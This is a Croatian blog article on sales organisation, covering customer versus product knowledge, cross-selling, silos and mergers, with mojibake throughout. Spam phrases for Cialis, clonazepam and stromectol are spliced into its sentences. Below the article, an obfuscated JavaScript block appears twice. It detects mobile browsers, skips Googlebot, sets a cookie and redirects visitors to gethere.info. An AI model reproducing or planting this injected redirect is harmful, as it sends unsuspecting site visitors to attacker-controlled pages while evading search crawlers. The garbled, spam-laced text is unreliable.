U prodajnom procesu postoje dvije vaA?ne vrste informacija ai??i?? informacije o kupcu kojem se prodaje i informacije o proizvodu koji se prodaje. Omjer i vaA?nost ove dvije informacije ovisi o organizaciji, samom prodajnom osoblju, proizvodu i kupcu. Neke organizacije tako fokus prodaje stavljaju na poznavanje kupca, dok druge na prvo mjesto stavljaju poznavanje proizvoda. U prvom sluA?aju za uspjeA?no funkcioniranje prodaji su protrebni drugi zaposlenici kao potpora. Oni su uglavnom fokusirani na sam proizvod i njegova obiljeA?ja.
To dovodi do pojave prodavaA?a kojima je svejedno A?to prodaju, odnosno baziraju svoj uspjeh na emocionalnoj inteligenciji, socijalnim vjeA?tinama i graAi??enju meAi??uljudskih odnosa. Premda takve osobine A?esto daju dodanu vrijednost prodajnom procesu, one su rijetko jedina komponenta prodajnog uspjeha. Jasno je da ni druga krajnost u kojoj prodajno osoblje dobro poznaje proizvod, a slabo kupca i njegove potrebe dovodi do orijentacije na samog sebe, umjesto na trA?iA?te.
Iz navedenog slijedi nuA?nost ravnoteA?e poznavanja vlastitog prodajnog portfelja i potreba kupaca. To A?esto dovodi do stvaranja ai??zosobnogai??? prostora prodavaA?a omeAi??enog skupom kupaca u kojem se kreAi??e i proizvodima koje nudi. Ti su proizvodi vezani uz odjel organizacije u kojem prodavaA? radi i A?esto su posljedica organizacijske strukture. To primjerice moA?e biti odvojenost produktinih linija u korporaciji ili fenomen silosa koji spreA?ava tijek informacija izmeAi??u odjela. Tako se dogaAi??a da dva prodavaA?a iz iste organizacije odlaze kod istog kupca nudeAi??i razliA?ite proizvode. S obzirom da su A?esto kupci isti odjeli, ili A?ak iste osobe, cijeli proces postaje u velikom dijelu redudantan i skup.
-
Cross – selling
U cilju poveAi??anja efikasnosti prodajnog procesa, koja posebno postaje vaA?na pri smanjenju operativnih troA?kova poslovanja u uvjetima krize, postavlja se jednostavno pitanje o poveAi??anju protfolija koje jedan prodavaA? nudi, odnosno efikasnijem pokrivanju skupa kupaca i skupa proizvoida koji se A?ele tim kupcima ponuditi s manjim brojem prodajnog osoblja. Takav se pojam A?esto naziva i cross-selling i bez obzira na njegovu opravdanost A?esto zahtijeva duboke promjene u prodajnoj kulturi organizacije.
Poslovni odjeli u velikim organizacijama A?esto pruA?aju otpor inicijativama proA?irenja prodajnog portfolija proizvodima koji izvorno pripadaju drugim odjelima. A?ak i vrlo jednostavni zahtjevi poput dijeljenja podataka o kupcima izmeAi??u dva odjela iste organizacije moA?e dovesti do otpora. To je uglavnom posljedica fokusiranosti iskluA?ivo na vlastite prodajne rezultate i ciljeve, odnosno straha da Ai??e drugi odjeli uplitanjem u odnos s postojeAi??im kupcima taj odnos ai??zpokvaritiai??? ili uzeti dio kolaA?a. Podjela informacija naime poveAi??ava rizik svakog pojedinog prodavaA?a da Ai??e loA? odnos ostatka organizacije s kojim dijeli informacije prema kupcu pokvariti postojeAi??i odnos, primjerice prekrA?enim obeAi??anjima, neinformiranoA?Ai??u ili jednostavno loA?ijom kvalitetom proizvoda drugih odjela.
Prodajno se osoblje zbog Cialis Soft for sale, Zoloft withoutprescription. toga stavlja u obrambeni poloA?aj pitajuAi??i se kako da zaA?titi postojeAi??i odnos s kupcem. Time prodajni rezultati A?itave organizacije naravno ostaju u drugom planu. To posebno postaje problematiA?no kada je za opstanak firme nuA?an nastup na trA?iA?tu kojim se nudi kombinacija proizvoda ili prodajni paketi na kojima radi viA?e odjela u organizaciji.
-
SluA?ajevi spajanja i preuzimanja
Navedeni izazovi proA?irenjima prodajnih portfolija dodatno su naglaA?eni u sluA?ajevima spajanja i preuzimanja dviju ili viA?e organizacija. U tim se procesima izgradnjom zajedniA?ke organizacijske strukture formira i jedinstveni odjel prodaje koji mora ponuditi proA?ireni portfolio nastao transformacijom portfolija organizacija koje su uA?le u proces. Nepoznavanje zaposlenika, koji su potencijalno bili i konkurencija u proA?losti, razliA?iti kriteriji kvalitete, neujednaA?eni prodajni procesi ili obiljeA?ja proizvoda razlozi su otporu prihvaAi??anja novog portfolija. Dodatno se A?itav proces komplicira kod partnerskih odnosa u kojima organizacije i dalje nastavljaju rad kao zasebni entiteti.
Premda ne dolazi do ujedinjavanja organizacijskih struktura, prodajni portfoliji se nadopunjuju proizvodima partnerskih firmi. Bez jasnog poticaja prodajno osoblje pojedinih buy clonazepam. organizacija neAi??e kroz postojeAi??e prodajne kanale nuditi i proizvode partnera, o kojima A?esto nema dovoljno znanja ili iskustva.
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 stromectol gale ordonnance. u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
0 Komentari za ovaj tekst
3 Trackbacks za ovaj tekst
December 16th, 2009 at 07:43
[...] svog odjela ili organizacije, zamjenjuje sustavom gdje se nagrađuju i rezultati vezani uz prodaju proizvoda ostalih odjela ili skupa partnerskih organizacija. Premda se naizgled radi o jednostavnoj promjeni postoji jedna [...]
February 25th, 2010 at 13:52
[...] je cjelokupno poslovanje tvrtke okrenuto ka prodaji, bitno je da svi unutar vašeg tima shvate da je prodaja jednostavno način života. Na primjer, [...]
June 14th, 2010 at 23:25
[...] godinama prošlog stoljeća Boston Consulting Group razvila je model model upravljanja portfeljem različitih poslovnih jedinica (velikih proizvodnih [...]
Vas Komentar